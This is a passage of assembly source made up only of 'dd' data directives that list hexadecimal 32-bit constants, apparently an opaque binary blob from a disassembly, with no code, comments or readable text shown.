		dd 7BE6FF0Bh, 953683FDh, 0BC4410B8h, 0E8250044h, 0E27201BBh
		dd 0F2480FF8h, 0E4AA812Ch, 14296145h, 28805C59h, 5A0E3176h
		dd 0AE232000h, 391170BFh
		dd 6AE0253Dh, 0FA8D90A0h, 3600CCCAh, 0C6B90A0Fh, 0A376ABh
		dd 0A0D4E208h, 0D3F21D3Bh, 0B6145009h, 7F341043h, 0AF70BD7Ch
		dd 9091DE09h, 0A21C6980h, 0FE9A8048h, 41EE0423h, 0B3D6881Bh
		dd 4609A2E0h, 1238B408h, 3400452h, 283CCDC3h, 310886C8h
		dd 0C1842289h, 7888C85Ah, 5209C7Ah, 689C85D3h, 0BB448664h
		dd 0F60AECB5h, 22F64B3Bh, 8D04BEFCh, 0C6114108h, 83163B00h
		dd 6A4F1E58h, 0D2542097h, 3805E351h, 8809012h, 1186F340h
		dd 96002FEFh, 3495D16Ah, 2AFF681h, 0E45306FCh, 5081890Eh
		dd 2E413F0Bh, 6B38B870h, 0C3E30407h, 0C08B68B3h, 0A4ABA830h
		dd 0C3EB4525h, 2721468h, 0E84C0CF0h, 0D1B8285Ah, 0AE21691Fh
		dd 0DC451A8Fh, 0B1C7B080h, 2E39A92h, 9DB5EB80h,	0A0065CEh
		dd 0A4EDDE01h, 0BF820688h, 11951E12h, 4A24E800h, 31381418h
		dd 0D5F2FEh, 43C89355h,	5FCBAC60h, 2498584Bh, 39852AABh
		dd 38890B08h, 0F0465499h, 0AD48C300h, 2F6FD645h, 0DE7107B5h
		dd 0C0C441Ah, 84057CC9h, 1BED0B9Ch, 0F51E80B3h,	5E5F001Ah
		dd 20F2CA45h, 7A0090B8h, 0BE437752h, 0B638F3h, 3D7CEE46h
		dd 92A7FE02h, 8D40E894h, 507F4B8h, 4DAC22E0h, 64B4C71Dh
		dd 883B3121h, 0B6848005h, 710002F1h, 8EED1241h,	2E930938h
		dd 90B037E2h, 85B7C44Fh, 0E3B4E740h, 0C62701F9h, 457860B6h
		dd 3B0A8439h, 881D66EDh, 0CCBCF740h, 13781E70h,	0C9754519h
		dd 5D708045h, 91120FF5h, 50E55082h, 0EB807C2Ch,	0DD7B41E4h
		dd 61968900h, 0FDF4A092h, 91995C4Ch, 41505C4Ah,	36BE1AFFh
		dd 0FC022FCAh, 2142A25Ch, 0D0A87722h, 0BF0134FAh, 32E28652h
		dd 2C2351C6h, 0A63AF807h, 0FB56614Eh, 0D0D5ED9Bh, 0A80070E0h
		dd 211F6B97h, 9EB43494h, 0D8142714h, 9699CC00h,	4F7F1232h
		dd 1E2F710Ah, 0CBBED967h, 0F0C89A0Ch, 0C501B6B3h, 0A172C620h
		dd 840E2FEh, 10F7B243h,	7CDD3609h, 680CED52h, 0A491C10h
		dd 8137A6BCh, 0A0B868ABh, 7E340050h, 3ACE8A5Ch,	4200F5ACh
		dd 0CDC827ADh, 0BDD0A6Bh, 831EB65Dh, 0FC7DE4A2h, 35E03861h
		dd 0C35891CCh, 51C01900h, 0CD71B1B5h, 0FC1B1E24h, 0C4859E17h
		dd 2C0E8425h, 8C989345h, 4FA500D3h, 607D1D1Fh, 0D4E0C09Fh
		dd 11131094h, 9A7E4D09h, 58B44CA8h, 0DD2D5883h,	60F06093h
		dd 2900E01Ch, 568D5CA7h, 1F2D26F3h, 469265FDh, 0C94F7B93h
		dd 4865DA5Eh, 0CC00C0E2h, 0DF5C4912h, 0EE1C299Eh, 1DFBB6Dh
		dd 8096D304h, 0EC93CCC2h, 0C3C8125Ch, 70F4B78Ch, 51303E02h
		dd 6286B844h, 90BC451Bh, 131625BCh, 874C80E0h, 65D800EBh
		dd 2A127A89h, 480ECE94h, 0A14BAF03h, 577FA3F5h,	0A44C2877h
		dd 626E1Ch, 0BB3D3703h,	0AA5C24F0h, 81005C1Fh, 0BF150544h
		dd 3A22EC62h, 0D1329512h, 99ACD407h, 4F3051D6h,	1B4820B3h
		dd 0FB0023E9h, 7969F98Eh, 3FC54BAEh, 3E8043E4h,	0CA707BA8h
		dd 8A180D0Ah, 0C9404D83h, 0E18844BBh, 2874B41Ch, 0B61B12C1h
		dd 10ECD26Ah, 7B7D2CA1h, 1F470083h, 0A37E5A36h,	42B608A0h
		dd 305C14A1h, 0BA00E808h, 51E3059Fh, 7C6F277h, 572CC8F1h
		dd 81A0CE7Eh, 6EB602ADh, 830080FEh, 92A2FDB7h, 23BF5AAh
		dd 6B360A1Eh, 10DA6A3Eh, 6DCCD300h, 1522435Ch, 0F1E0082h
		dd 1BC58B42h, 512CC273h, 0C9307110h, 0F18F20Ah,	0B35A6A5Eh
		dd 0B8E23660h, 0CA008002h, 0FB122A3Ah, 46B587h,	0A0EB0C71h
		dd 77A1A87Ch, 2B3AD30Fh, 0A0B00EC8h, 0BD14F1B1h, 0D8565C69h
		dd 224D7902h, 105CA051h, 0CC8E1242h, 0E0B23CE0h, 0AC20852Fh
		dd 0EFD8F419h, 0E700A2F8h, 6AF6847Dh, 78890F5Eh, 227F4ADEh
		dd 61044688h, 60311A07h, 0BA8580F3h, 0B0C15D4Ah, 0F1003D57h
		dd 80D2C0B2h, 44C8E4B2h, 0D1248952h, 243BC4DCh,	645B94A9h
		dd 7478A2F4h, 2600D274h, 0EF9599A1h, 0E0E3013Ah, 64E97D96h
		dd 8085301Dh, 3BE40AF8h, 0C8A4FC48h, 0EBD10C4h,	37916B2Ah
		dd 34CE4056h, 0A1000D22h, 29537295h, 9E1269h, 9A0E5446h
		dd 0A658538h, 98A03BFAh, 2D09EDB5h, 4AD687E1h, 5A840E90h
		dd 620CD619h, 0F643912Ah, 0C0C8F90Ah, 0EEC03C96h, 3B1728h
		dd 41FE8540h, 9719436Ch, 0E429B203h, 0C8700BA7h, 0CBC97E90h
		dd 0A8C8A249h, 0D20099D8h, 0CD987B5Ah, 5E0E14EAh, 0A3C487Dh
		dd 5E43E840h, 0C220003Bh, 2A66D73h, 463EF9C0h, 13BB26D8h
		dd 0D08E814h, 29C1F83Bh, 0B68DE88Eh, 0DD12AAE0h, 0D7A5DC4h
		dd 0FC56DC02h, 64E654BCh, 55B61CFCh, 0BE1F7D96h, 1E3EC5FAh
		dd 8694A428h, 0B89E8D78h, 6D42B580h, 7B5E7DCAh,	1D377C20h
		dd 93E826E2h, 0BC44F0CEh, 0F869A289h, 0E98F4500h, 5B544AC5h
		dd 0D5804900h, 506B1C3h, 4C6898BEh, 0E589DC0Fh,	8A079C52h
		dd 0A74A19Fh, 9487E200h, 9E6303B5h, 0D63F8B1Bh,	7D8C7AD0h
		dd 80DBB03Dh, 6806100Dh, 3CB698F4h, 5BB09D4Fh, 74589221h
		dd 7256091Eh, 9820A393h, 0FCF7D6DDh, 0C0030213h, 74C87DF0h
		dd 0A33A480h, 0AA5EACA1h, 1134EC0Ch, 14E85002h,	0F8BF4CC9h
		dd 205A6A8Bh, 0E794B800h, 0BF1998C0h, 16A4EE73h, 8D82273Ah
		dd 0BC202BA0h, 184CA29h, 7BF62255h, 30CD308Ch, 0B0B487E1h
		dd 54479064h, 1200EE0Fh, 0A5090769h, 5037A700h,	13A3E520h
		dd 1204B27Ch, 0B2BFF301h, 63250034h, 0C11A8E39h, 302107CBh
		dd 50332B90h, 54053A92h, 1A1B5E25h, 4150DCF4h, 2E88BCC9h
		dd 20BBB022h, 190C8BB5h, 3BE0B8BDh, 0B1360903h,	688093E0h
		dd 5DB0AFADh, 0B04D0BEh, 44E24B3Ch, 8FF0285Eh, 7E532B1Eh
		dd 3FA67A40h, 9171D9D1h, 282A9290h, 0C09D4FA8h,	3A955445h
		dd 8E80D37Ch, 842B7953h, 0BCE5E1h, 0B0019829h, 1A286637h
		dd 0B180E428h, 9399344Fh, 96B71302h, 74A375ABh,	0EFCA44Ch
		dd 8561D79Ch, 7396117Bh, 0B95F0010h, 2A03682h, 943B4D87h
		dd 8D26047Ch, 40046A8Fh, 0DB0F278Ah, 20A70AEAh,	4E98836Bh
		dd 5867B6EEh, 497040D7h, 0FE485FB9h, 80E805D8h,	0B4A69325h
		dd 0A300C622h, 0ABE8C42Ah, 0B7152A8h, 6378C0C2h, 2000466h
		dd 0E54628E7h, 0F0FFE309h, 4108A0BFh, 0C8DC4F06h, 4A7B7760h
		dd 297D9200h, 0E1ED43Fh, 2AC10774h, 0F0ABCA68h,	43016DB8h
		dd 0B4A53908h, 0F6DA82B9h, 9C40F1D9h, 4A24691Ch, 6F01945Dh
		dd 0E2FD5357h, 81C0BC42h, 1D203A08h, 8490298Bh,	1925B0F9h
		dd 8C2CF490h, 9B8B2D6h,	8084F9D7h, 1F6783F1h, 0F6C0074h
		dd 0C3F5684Ah, 0E70B3015h, 0C5F669C9h, 7866083Ch, 99369505h
		dd 0ED4ABC04h, 0D4BCB780h, 0C6B724C9h, 0D2854274h, 54BDA224h
		dd 0F1833A00h, 85F8B0A4h, 843D9600h, 33B25AAFh,	2E7300D5h
		dd 8F38003h, 3E2A8291h,	2080D422h, 0D2005658h, 6520D071h
		dd 91C04Dh, 93BCAEF9h, 79787284h, 0C3C94C12h, 36891CA9h
		dd 5609B079h, 0AFEC1B1Ah, 50BD2980h, 0F4583967h, 63474387h
		dd 9C2A11D4h, 0BD40604Bh, 520C9095h, 98414A45h,	3072DCCh
		dd 155764E6h, 0D52EE3A0h, 91B83EB7h, 8B17200h, 0B6C2E043h
		dd 98536C1Dh, 92FD02FBh, 7C7E7A90h, 20AD6088h, 58A23A77h
		dd 0ACE5B0C8h, 6992F201h, 5423146h, 0F6201F0h, 82FB522Bh
		dd 2A20C280h, 33E0F141h, 0F5DC9897h, 0E278A864h, 0DA343E76h
		dd 0B702D180h, 0C997F429h, 272D9900h, 0EBB65808h, 0BDB231FDh
		dd 6A879008h, 30BE4422h, 8C441E65h, 6B5500E8h, 0B5BAFB62h
		dd 2EF3ADDEh, 0C30E8020h, 86140076h, 9932B34h, 0FD35E661h
		dd 10B22008h, 0C71ADC00h
		dd 0AEE32ABDh, 936ACE00h, 11CCF25Ah, 0C18E0255h, 0EE0B4F45h
		dd 0C70A3520h, 73360413h, 8C8FBC87h, 0F300C674h, 764AD99Fh
		dd 40545h, 386F74EEh, 660F6B5Dh, 0D03BC90h, 544A239h, 20395B3Dh
		dd 4AAD0800h, 0D75D0402h, 54419F36h, 10C424Ch, 90AD5C74h
		dd 9112ACh, 0F537649Fh,	0C1825A5Fh, 54476D09h, 290C5A6Ah
		dd 2C8C450Bh, 2BF1600Ch, 480F0E5Ah, 9315434Dh, 0A27F80D0h
		dd 8C12BF39h, 73951861h, 0D74A00A4h, 0A82EFAF0h, 0C4921C05h
		dd 0CC3A40DBh, 5D86E54Fh, 76BE0F1Dh, 0ADC0A544h, 270B84C8h
		dd 1CE45342h, 0ACC8544Fh, 65C100CAh, 31A3D58Ch,	8716E68Ah
		dd 1941A44Bh, 0C62A935Fh, 24E290C0h, 40B0224Dh,	0BDED828Eh
		dd 0E5DA4E13h, 0FCD998B4h, 0D53C00D8h, 0D76C1A5h, 0D0038919h
		dd 15A2C77h, 0BD45A817h, 0E52D2422h, 2B367184h,	0D44A005h
		dd 162A8F4h, 2D08143Bh,	215BECC9h, 0FD85C896h, 7FEFDD00h
		dd 90F4BEC5h, 12F89986h, 7EE0F4A2h, 0B8C28902h,	4C0E4F3Bh
		dd 97CE0F90h, 7FC05977h, 213F427Bh, 44327800h, 0EC3519EFh
		dd 868B82Fh, 73976EC3h,	0AE5D7001h, 106BE342h, 0E84808C0h
		dd 8229C234h, 0B221BB88h, 0F862408Ch, 0C0B52504h, 0CAC4F9BDh
		dd 6687187Dh, 89C2E59h,	0B82695E6h, 775CA29Bh, 9E3000ECh
		dd 3CEC8447h, 2F5F8A9h,	7AD55E03h, 80C9AFA8h, 0E4107D0Bh
		dd 5A799C98h, 73D49C7Eh, 0A490C8A6h, 3C88B613h,	92853421h
		dd 806468A1h, 13B07DE1h, 0C48A8A2h, 79BF25ECh, 658CBF58h
		dd 42588BDFh, 1AF888C1h, 20F048B5h, 4DBB03F3h, 33809B1Bh
		dd 0E8F18DC2h, 0ECED0828h, 7E26C960h, 0AB00BBE4h, 0DD73F5C2h
		dd 0B968C4BDh, 4CC4A48Bh, 0D1F42000h, 52C012B0h, 12F6705Eh
		dd 0D0B28091h, 0F949B518h, 43711B03h, 0C513E0Ch, 0C6BE2AA9h
		dd 76889450h, 34F71663h, 698C0CA7h, 15B4429h, 22030C8h
		dd 0C9FBAF72h, 7453D0BAh, 964E4084h, 0D995AA80h, 997600B5h
		dd 22EEEF0Bh, 0BCAA9D84h, 3775A802h, 8774BC90h,	0A490BD38h
		dd 8860107Ch, 25DAED38h, 283A0D2Dh, 124194DCh, 10DC099Ah
		dd 0A0C40339h, 8090D5F6h, 12C4E9B5h, 142E8DC0h,	0B790C113h
		dd 921E0158h, 62CCD77Eh, 353CFECh, 0B63A86EBh, 64D83B2Dh
		dd 8705A873h, 495E1247h, 891DC481h, 0A30B5510h,	0AC06A71Fh
		dd 956DB542h, 584DC14h,	57AF1E1Bh, 3ACE3E4h, 0D73DED74h
		dd 5C1DA86Ch, 19270144h, 90941B5Dh, 0A05C7C8Bh,	2DA8A40h
		dd 5E79E8F5h, 0D056FEEBh, 0C2E10440h, 0ACB0086h, 0AD4BD9EDh
		dd 0CD007848h, 0E4BB7BE7h, 21F3A1Ah, 0AAA99586h, 0E06612BDh
		dd 3CDF9A3Fh, 27E694EFh, 0D28A89CCh, 9751F024h,	5BF5C80h
		dd 5578982Bh, 48451E00h, 0F8DE4BB0h, 70855BA3h,	0FE5EC0Ch
		dd 8B74B700h, 60EEFD36h, 3C9D5079h, 0F412BD0Ch,	7C18508Bh
		dd 89C3E3E6h, 4899C4C8h, 0CC218819h, 2B004211h,	2CEF4025h
		dd 44CF662h, 0C03802F9h, 0FA64D721h, 0BE162EBCh, 28B20048h
		dd 0B6205D26h, 0A53B5407h, 7D5133F3h, 0F144E2AEh, 28B24E8h
		dd 0E395F8E4h, 84DAAA7Ch, 0ED404140h, 641A02C9h, 0B5B4D100h
		dd 0A879A608h, 0C8365ABEh, 23026D64h, 0A444703Ah, 45D87AD6h
		dd 3C087A55h, 57D89E82h, 14D0E091h, 38F1E22h, 273D4EC1h
		dd 3A802B38h, 0F909244Bh, 56BFD4F0h, 4E2640F4h,	0A6000597h
		dd 54A817A7h, 0CE2AF5h,	0A54F39F6h, 65826E0h, 0B60E4C99h
		dd 6EFD60B5h, 9CBE87E7h, 6A1FC1E4h, 0B6C9D8C4h,	398BB099h
		dd 0CC3C827Dh, 0FA1CFABBh, 0B3908884h, 59B58A00h, 0EA2A1B87h
		dd 0F2D34AA5h, 0C3090028h, 5CDC2842h, 2C494C6Ch, 411E8C1h
		dd 438BE8E5h, 67D91D00h, 1B36991Eh, 0B2D4012Dh,	887455AAh
		dd 9E43DCEh, 9081912Ah,	2E1914h, 371E383Bh, 303A5DE3h
		dd 1174F24Ch, 0F188533h, 0BFE57107h, 72C739C0h,	4C54E4A8h
		dd 3E18D471h, 6B31F196h, 4600CCB9h, 159ACB85h, 242A0104h
		dd 0C10ED544h, 971FF879h, 9BBC1802h, 2A538BEh, 0A4D4BB3Ch
		dd 96CB28C0h, 408D002Ch, 9A828084h, 0F626CCB2h,	0E01168F7h
		dd 5DC4D84Fh, 0D018F899h, 0B5BFC821h, 3F5D0C91h, 0EF30F020h
		dd 0E8F30BC1h, 4402D177h, 0BE018F26h, 9898DFFBh, 0C9F8D1F0h
		dd 32544697h, 0E0208439h, 10F4FB2Bh, 0F6F8830Ch, 0D901018h
		dd 60B13338h, 628182Ah,	3DF4416Eh, 6086212Fh, 0C1FF3C14h
		dd 0BFACFD41h, 50303A84h, 8DF291h, 0F1BA945Bh, 0C6896219h
		dd 9E8B6603h, 80EA0BEFh, 7A57F7Dh, 336DF201h, 0C187804Fh
		dd 6C184EE7h, 8FF08146h, 13E425A1h, 0FA000064h,	180C19DBh
		dd 3AB204Ah, 0D733C794h, 2AD095A4h, 9148B5E0h, 6764C7B4h
		dd 8EE62FE1h, 3F0726C0h, 498A95A9h, 11905A39h, 72F10150h
		dd 0C432AF93h, 7C3D8C70h, 1DF00016h, 0DD8694B2h, 0E40083EDh
		dd 2B6A9ACDh, 799757FEh, 373B03B6h, 0E61A5D39h,	6710CD0h
		dd 8020E35Ah, 71D38203h, 0E2C73EEAh, 4891402Dh,	24F81595h
		dd 538C4C0h, 66001FC5h,	0B078FA51h, 5C1279Bh, 2BB20A96h
		dd 0E6E8E159h, 0BB346112h, 60F9B112h, 92378E00h, 39F8A77Dh
		dd 9980744Dh, 53E52E75h, 5E0EE9A6h, 8078578Ah, 9131C1D4h
		dd 24109582h, 2F3A3C9Bh, 0CC0C01C0h, 0E655341Bh, 78C96C40h
		dd 26DC0051h, 98B6D3E7h, 3900CCACh, 66BFF73Bh, 3CC36885h
		dd 0CB849CBDh, 0BF73A47Dh, 51BE01C1h, 2E0BFC26h, 68F1F945h
		dd 0B47E753h, 0F4641249h, 8C4100ECh, 8B225E76h,	8858C75Dh
		dd 886445h, 323F867Dh, 420CB291h, 45F40B08h, 503CD939h
		dd 0D0993A0Bh, 1210440Fh, 0FD6D8DCh, 5B85627Eh,	0CAE33240h
		dd 6402D887h, 1C675D15h, 5900FF19h, 0E40238A9h,	8C75BC07h
		dd 9EC33B62h, 0A39C0FCh, 36191CF7h, 0EE1A4057h,	49BB794Ch
		dd 0BED431BDh, 77F8E208h, 18D9966Bh, 9550E08h, 0AA258565h
		dd 3F3D70C4h, 0DAD7805Ah, 2D5B3C9Eh, 366B008Fh,	4C030C10h
		dd 4F035155h, 6C30F74h,	5780EF32h, 28A579BDh, 7E0CE720h
		dd 205D5A95h, 0E0DF13B0h, 4B4E5304h, 8FC26480h,	94D8AB0Ch
		dd 0F247144Ch, 3C27DB7Ah, 58902410h, 961D5600h,	0FDFA0C5Bh
		dd 17030A7Bh, 382F0A6h,	48C01AA9h, 375822h, 0BF5DE295h
		dd 2B50CA9Ah, 20C53800h, 563C88DEh, 8BE8BCh, 5D2C8DF3h
		dd 9323AD7Eh, 0B601BF00h, 61F53364h, 0F7D719Fh,	2CDDCC9Ah
		dd 0A4C94480h, 260173A7h, 65769092h, 7092B075h,	5C140142h
		dd 289EFA3Ah, 0D8A079E8h, 0FC91E196h, 0A0C12A8Fh, 0E2BEAB7Eh
		dd 1E1A77A7h, 8FBF7AE7h, 9640D101h, 4857BA0Eh, 0BE22E892h
		dd 2408B98Bh, 6B6C025Fh, 586167A2h, 705C1007h, 9F6990CAh
		dd 0F01C9C13h, 8D89CE16h, 657D0FDh, 0AE5DDE40h,	60991915h
		dd 0E6780C80h, 2F09BD6h, 32AA28AEh, 10552A96h, 71A5A8h
		dd 1EB3976Eh, 0ED40D839h, 0FD603A0Eh, 0E07A0468h, 0DF2D44B9h
		dd 1CB8440Bh, 670E05A9h, 34F929h, 0D96AFAB4h, 7DE13FF8h
		dd 57C21376h, 44F03021h, 5F03C8F4h, 2C5BB5F1h, 7E83F0AEh
		dd 0D6301456h, 0CF02F6F5h, 0CA657A96h, 3142C449h, 36CC4210h
		dd 9A0F3120h, 31114C37h, 245CB326h, 58C009D0h, 414048D6h
		dd 3C4C4Eh, 179AAD39h, 51EFC475h, 0E2DEDB00h, 741E1BF4h
		dd 34B90AF9h, 80B4046Bh, 8B6757C8h, 805C0FB4h, 0A292C078h
		dd 0D66058h, 78624F25h,	76AAB53Eh, 5F5B3D5Ch, 0BCB07C12h
		dd 0A44887Bh, 74412569h, 0E2AB6718h, 1360C2FBh,	0CB019C09h
		dd 0E1762723h
		dd 123B62C1h, 0A83830E2h, 130960EFh, 84735771h,	8C09320h
		dd 9A618D3Fh, 0CD812DECh, 88038410h, 0C6E71A00h, 0FD671246h
		dd 0BA651035h, 951904B5h, 2C8D7C90h, 0E0626C42h, 245D678Dh
		dd 16B8526Dh, 74B324h, 0B2C2EF2h, 4771859h, 0FE6FFC08h
		dd 5048C699h, 38CB8025h, 2B33E2B8h, 48EF25h, 0B65E5AE9h
		dd 56011734h, 0F18906ECh, 7863B8C9h, 0B50E8321h, 22B19B9Dh
		dd 0BCB0C168h, 0C0C84032h, 3DBC84E2h, 195D0F22h, 8979F7Ch
		dd 0B158A0B6h, 0D803442Eh, 377C8169h, 889FD16Eh, 0DACA09F8h
		dd 0E42570D4h, 29F71DE4h, 0F8504E8Fh, 22209823h, 485101E3h
		dd 6B18C6DCh, 1F3298E7h, 2C66E2AFh, 88141024h, 760C80CCh
		dd 434C0ADh, 0B3154E00h, 84F26387h, 1DDA096Ch, 149868FFh
		dd 1A0179AFh, 0EAB9E511h, 0A0A824D6h, 8E4F27D0h, 2D00D850h
		dd 48A4BA0Fh, 0EB2045Ah, 0D37A0EC2h, 0C95C8963h, 0CC33AFC4h
		dd 7CD99194h, 0E242D4h,	0CAB7CFB4h, 3985B6F1h, 530431F0h
		dd 8D7B25DCh, 0F600E8B8h, 90D87438h, 7725807Ah,	899CF8BFh
		dd 0E91151CCh, 1C5D83Ch, 0F4F67E16h, 0AEF50404h, 0B20E9080h
		dd 0A04D6F65h, 0B09EC283h, 0CBAC180Bh, 0EF6C003Dh, 94CC05Eh
		dd 3F62778Ah, 0ECC8700Ch, 890DCA00h, 0B38B74B4h, 4E500ADh
		dd 66BCE643h, 8201CC88h, 30148B8h, 408477AAh, 0FD63554h
		dd 38C72836h, 198D4798h, 80065060h, 0A1743AA3h,	881570A8h
		dd 3F40BF8Ah, 0FBF10C72h, 0BE302FF9h, 0B237A302h, 5CFD8A03h
		dd 0F2E83288h, 10B0D902h, 21843AE2h, 5CC4B112h,	0D5AB8F02h
		dd 9C6C7123h, 969BFE01h, 0C131F2Eh, 7E8C3246h, 18AD4D4h
		dd 2000E5DEh, 10FB9B27h, 0EE623912h, 7A49340Bh,	3086BCE0h
		dd 4718180h, 463EB8C3h,	0FC8480E2h, 0D1014E2Dh,	39F5454Fh
		dd 8500BE0Eh, 0A130463Fh, 141EB0CDh, 8908009Ch,	0D9908DFBh
		dd 7E30777Fh, 0F53520A9h, 880A2913h, 98B5E220h,	74845D32h
		dd 12A45485h, 0C430B5A8h, 271D22DAh, 0B880A017h, 3F951BC4h
		dd 0BA643800h, 0C8B8B5EEh, 16207C25h, 7DD22Dh, 0B443C560h
		dd 4F01D9A4h, 0F6C87975h, 58F56629h, 1F541C60h,	67968F87h
		dd 27047064h, 86B26DBBh, 0E1CB8480h, 3F77001Fh,	0CDF526A6h
		dd 0C0A3D2Eh, 58BDC958h, 0A12DB580h, 6E23C002h,	0D0F34894h
		dd 2B96C480h, 8700EEE8h, 0ABFAFE83h, 1CAAC6E1h,	8021CB02h
		dd 601846FDh, 0F6008853h, 0B17E7A48h, 0B0ED32h,	7476B5C6h
		dd 59AFC3Bh, 0D85A150Fh, 382C0055h, 4F460A4Fh, 29A09069h
		dd 0EE00AAF8h, 0CDD333CBh, 16B8CEBh, 87D0ECC0h,	3B219E0Ah
		dd 0F626D8C8h, 1EEDF068h, 4092B717h, 0D88E18DFh, 2000A77Ch
		dd 31CD0111h, 937DE8h, 0A4803A17h, 4C70C38h, 892200B0h
		dd 187804BFh, 0B2E88A31h, 1FAA2ED4h, 2AC27A00h,	4B6119h
		dd 0ABB41BD5h, 0DA2F3B5Dh, 0A8C19D5Eh, 0D23981h, 9A865173h
		dd 3F140407h, 0A82048E0h, 3A6BA167h, 9500495Bh,	0D6E49DA3h
		dd 0E606C615h, 0F6BEA7B9h, 21406008h, 0EED6CAFFh, 0E41D3EF0h
		dd 32C4785Fh, 2404C5Bh,	8DE5CB64h, 3F10BE00h, 0A8E8A20Fh
		dd 0EA4700ACh, 0EB6C1CC1h, 0CD00CB68h, 0A14492B4h, 63DA35Eh
		dd 0E5149513h, 0C1F0489Bh, 10164F8h, 49876138h,	8985920h
		dd 66DA21A9h, 0BF3A6400h, 385FA677h, 0A8070C44h, 0C9609A51h
		dd 3183A445h, 0AD6F1CD8h, 3B50200Dh, 3C0B8161h,	75C0A788h
		dd 0EC1DD17h, 393E74BEh, 0AB980DC0h, 0E05B78Eh,	0E8B8F357h
		dd 0E02B04Fh, 3010981Bh, 77EE385Ah, 8465C180h, 52EB2DF8h
		dd 7100287Bh, 2C0383F3h, 0E70F5Fh, 8C86D529h, 0C2615DDFh
		dd 118EAD00h, 9047D345h, 2658F63Bh, 2BC773h, 63D83967h
		dd 1800409Bh, 9E26B214h, 0DE96D0h, 0F523B1A9h, 39483B85h
		dd 9C4AFD00h, 7D9BA1D5h, 0AC36381Ah, 0EE801C3Eh, 0C0D60B02h
		dd 0FB3F2F7Bh, 2E00F63Ch, 38CE5EF8h, 0CD563Eh, 1D577828h
		dd 831BB85Ch, 47399901h, 18666789h, 0DA031480h,	31B3A3C2h
		dd 0E66CBE00h, 3D9980A6h, 167000EBh, 2317A03Fh,	671B0D4Ch
		dd 0E11025A5h, 1880A4F7h, 0A3135A83h, 8DFC58AAh, 35ABBC00h
		dd 46B9760Ah, 9470F5h, 64ED169h, 0C6CA3F98h, 0C540A500h
		dd 0E1D9A17Bh, 0D1AC005Eh, 0CC81708Fh, 0AE002E17h, 0D3155421h
		dd 0B749FEh, 941F940h, 0FC95D09Dh, 8A001AE4h, 6588EC07h
		dd 0DA3BF1h, 0A4D552E4h, 92131FBEh, 1A078AECh, 484AC9EFh
		dd 0F0E03EC0h, 3C6C24EAh, 0BA0D0389h, 1880F72Eh, 8600FAD5h
		dd 7C6044D1h, 32B964h, 8C8059EFh, 6715501h, 0A3FE207h
		dd 0C03F0FE8h, 0AE56A831h, 135700ACh, 711CC059h, 18C742ECh
		dd 58D09DB4h, 39251877h, 2D81930Ch, 0D91D2EC2h,	0A0F340CAh
		dd 0AC00144Bh, 330C92A7h, 0D4845Fh, 78029085h, 0D604FA5Eh
		dd 8DEA418h, 0E0591870h, 811969F6h, 4F2D1000h, 1000800Fh
		dd 33FFE6A9h, 7CBD42Ah,	8B6CFD2Ch, 0CA1B254h, 8E26D480h
		dd 7400E5DDh, 2BDB4A5Ch, 30D81BF0h, 7850957Fh, 5E03C647h
		dd 0F4DF9BE9h, 54B93AFh, 3A2E8728h, 0A1C0AF0Eh,	8E1AB6h
		dd 6F7BFDC6h, 0D1D634A9h, 6E067A74h, 87EDC29Ch,	0C4F23950h
		dd 40292492h, 0AF722F20h, 7C0083B0h, 88374745h,	0C099A108h
		dd 386FD406h, 70E4F18h,	517175h, 4539BEE6h, 0FB600049h
		dd 0D5AFD45Ah, 8700BCE4h, 0A4BBF528h, 97353D15h, 0B320BBC0h
		dd 4551A300h, 0BCE07A95h, 0B2290028h, 72BFDE7Eh, 0F20F1DD9h
		dd 0E052084Dh, 70F8C66Ah, 8CCA5265h, 0B859C09Fh, 177A54DCh
		dd 5248D2E0h, 7E9F0718h, 87FEC563h, 7C10669Ch, 3C18117h
		dd 23B0F0FEh, 21905BBDh, 0F700EDA1h, 0A254B601h, 0C838Eh
		dd 0A5B47E42h, 32663117h, 6B78F717h, 624C8700h,	12BA70FEh
		dd 2E03808h, 0A674834Fh, 9405C42h, 0C10096CAh, 0AFC93C94h
		dd 2073A0h, 9E246B56h, 0A2882FF0h, 0D5E0CC0Ah, 6E80B846h
		dd 9BB8B709h, 0EE470094h, 0C00C84D4h, 0ACE48F0Dh, 7585D48h
		dd 7BA28BF6h, 80280AC0h, 0A7C500C1h, 5C21AD9Eh,	5B004119h
		dd 0EF547725h, 77F5E6B7h, 63E8007Ah, 0DA3E6C04h, 0E901CF7h
		dd 594F8D0Fh, 0F806DCC8h, 7F882608h, 7AC900F3h,	5FB90C1h
		dd 25147BCDh, 0EA8572Fh, 9DE243h, 90368565h, 0B17D004Eh
		dd 3091C96Bh, 430011E3h, 0CF1C2649h, 380EA9CCh,	98F04CB0h
		dd 847C0007h, 5D2F5752h, 54C2415h, 0C91261Ch, 0B192641Eh
		dd 0CD102A00h, 0A82785E0h, 189DC48Ch, 2884DFD8h, 970310F3h
		dd 0ADC1ACEDh, 770AD0F8h, 5857137Fh, 0E99E0C26h, 1600B9F8h
		dd 5BCF1F0Fh, 22F30F5h,	489EBFD2h, 0C6C041A9h, 92030A15h
		dd 49AB472Ah, 66C18811h, 53550329h, 89DB704Ah, 0FF009CBh
		dd 9000E147h, 7EDF4FE7h, 543812h, 0F4E2A0F3h, 4826DEC6h
		dd 5E3D4D00h, 89165286h, 76E7B83Bh, 22F207C2h, 50C4859Ch
		dd 94EA63D4h, 60F1CA00h, 9D874F07h, 1EA21D33h, 8B9A40DBh
		dd 0FCF9E08h, 4FEDD700h, 6C565526h, 39A90057h, 96691361h
		dd 9303E9DAh, 0FF5CCF67h, 92E3D0E0h, 0C5F400EBh, 29609D24h
		dd 3E00FA40h, 0A458A60Bh, 0A7DB5D2h, 0A8E65BD8h, 0EFB200ACh
		dd 421B0906h, 0EA99FF00h, 0B841A06Bh, 170503E9h, 0D43C5719h
		dd 0DBF054D3h, 4300F831h, 6D34014Bh, 49A2F5Ah, 36208AA9h
		dd 308F8740h, 1B5D50FFh, 6084C101h, 69E6C4F8h, 3DA4F8h
		dd 729A42C6h, 7A287CDh,	0B0645600h, 2EF1285Eh, 8BDA0095h
		dd 0E56C1676h, 310E6B3Fh
		dd 7479D70h, 0EFB0D449h, 1E781B1h, 979E2990h, 24F9D1E3h
		dd 0C0009388h, 0CE09AADCh, 4B216Eh, 0D40EE878h,	76EC0A7Dh
		dd 5F034803h, 3671C7Ch,	9B7B86F0h, 0CAC8460Fh, 0BC012681h
		dd 7CBD476Ch, 0C0309A90h, 8B3B04A0h, 80BA7A52h,	79D69B0Ch
		dd 1F385A00h, 25110562h, 0B4A6004Fh, 0A8812139h, 0AB00DB4Ch
		dd 69E3DC83h, 1992EFC7h, 184B94BDh, 6B4830AEh, 0A83F3524h
